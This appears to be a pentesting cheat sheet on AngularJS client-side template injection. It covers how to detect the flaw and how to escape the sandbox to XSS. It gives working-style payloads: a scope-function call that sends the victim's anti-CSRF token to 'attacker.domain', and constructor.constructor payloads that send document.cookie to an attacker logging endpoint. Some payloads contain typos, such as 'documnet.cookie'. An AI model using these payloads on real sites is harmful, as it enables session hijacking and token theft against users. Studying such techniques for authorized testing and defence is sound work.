Pentesting AngularJS

Template Injection & Scope Hacking

- Attack is limited to $scope functions and variables 
 
- Check if an application is using angular JS & Vulnerable to Template Injection or not. 
	- Check the source code for `angular` keyword
	- open dev tools --> Console -->  `angular.element($0).scope()`
		- This lists the scope - all the elements in the page
	- Check the soure code of functions to see what its doing 
		- Developer tools --> Debugger --> Select app.js (whatever JS filename is) --> search for that function ; 
		- Check for any injectable variables (Ex: some empty or dynamic content )
	- Call the function 
		- Send the below payload as input and see the connection going out - which has the victim's anti-csrf token
		-` {{Function_Name("https://attacker.domain/reach.php?x="+anti_csrf"")}}`

- input  `{{4-1}}` --> if the output is 3 --> VULNERABLE 
	- use this any input or search parametes. 

Going Beyond the Scope - XSS via Template Injection

- Works in AngularJS>= 1.6.0 
- https://portswigger.net/research/xss-without-html-client-side-template-injection-with-angularjs 

- Find Angulra Version in Dev tools --> console 
	- angular.version

- Create an alert 
	- `{{constructor.constructor('alert(document.domain)')()}}`
- Get the user cookie 
	-` {{constructor.constructor('$.get(\'//attac.local/log.php?\'+documnet.cookie)')()}}`
- If there any known varaiable 
	- `#var_name=constructor.constructor('$.get(\'//attac.local/log.php?\'+documnet.cookie)')()`
